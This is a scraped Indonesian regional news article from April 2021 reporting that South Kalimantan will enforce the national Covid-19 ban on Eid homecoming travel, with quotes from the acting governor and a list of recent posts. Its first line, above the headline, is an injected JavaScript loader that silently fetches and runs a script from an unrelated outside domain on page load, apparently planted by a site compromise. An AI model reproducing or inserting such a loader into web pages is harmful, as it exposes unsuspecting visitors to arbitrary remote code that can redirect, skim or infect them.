(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kalsel Berlakukan Larangan Mudik, 12 Daerah Masuk Zona Orange


KANALKALIMANTAN.COM, BANJARMASIN – Status Provinsi Kalimantan Selatan (Kalsel) hingga saat ini yakni dalam zona orange Covid-19. Ada 12 kabupaten/kota di Kalsel yang masih masuk zona orange, hanya Kabupaten Hulu Sungai Selatan (HSS) yang sudah masuk zona kuning.

Terkait kebijakan Presiden Republik Indonesia, Joko Widodo untuk melarang mudik pada tahun 2021, Penjabat Gubernur Kalsel Safrizal ZA mengatakan, pelarangan mudik ini juga nantinya akan diberlakukan di Provinsi Kalsel, terkait dengan itu untuk aturan sedang dalam proses.

“Nanti akan diatur apakah dengan Surat Edaran Gubernur yang sekarang sedang digodok, Surat Edaran Kapolda dan jajaran TNI untuk mengambil langkah-langkah yang diperlukan,” ujar Pj Gubernur Kalsel Safrizal ZA, Rabu (21/4/2021) usai mengikuti video konferensi lintas sektoral persiapan pengamanan Idul Fitri. Video konferensi dikuti bersama Menteri Perhubungan, Menteri Kesehatan, Menteri Perdagangan, Menteri Agama, serta internal dari Kepolisian oleh Kapolri, Komjen Pol Listyo Sigit Prabowo.

Baca juga: Dibagi Lima Sesi, PNS dan Honorer Pemko Banjarbaru Divaksin

 

Pj Gubernur Kalsel didampingi Kapolda Kalsel, Irjen Pol Rikhwanto, Danrem 101 Antasari, Brigjen TNI Firmansyah, serta jajaran terkait di Ruang Rupatama Polda Kalsel.

“Intinya adalah diminta kepada pemerintah daerah, kepolisian daerah dan jajaran TNI untuk bersinergi menjalankan kebijakan tersebut, sebagai mana tujuannya adalah untuk menekan penyebaran Covid-19 dari satu daerah ke daerah yang lain,” ucapnya.

Baca juga: Dikerjakan Bertahap, Ini Foto-foto Desain Penataan Kawasan Sekumpul

Sasaran kebijakan pelarangan mudik ini ditujukan kepada seluruh lapisan masyarakat terkecuali perjalanan dinas.
“Siapa saja yang dilarang, yang dilarang adalah Polri, TNI, instansi dan masyarakat, artinya semua dilarang. Kecuali yang dikecualikan adalah dinas dengan surat dinas dinas,” tambah Safrizal.

Baca juga: Perlindungan Anak Berbasis Masyarakat, Ini Angka Kasus Kekerasan di Kabupaten Banjar

Pedoman pelarangan mudik sendiri adalah Surat Edaran Nomor 9 tahun 2021, Surat Edaran Satgas Covid-19, Surat Edaran Nomor 12 dan Surat Edaran Nomor 13 tentang perjalanan dan pelarangan perjalanan. (kanalkalimantan.com/mckalsel/al)

Editor : kk


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

11 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

14 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

18 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

18 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

18 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

20 jam ago

This website uses cookies.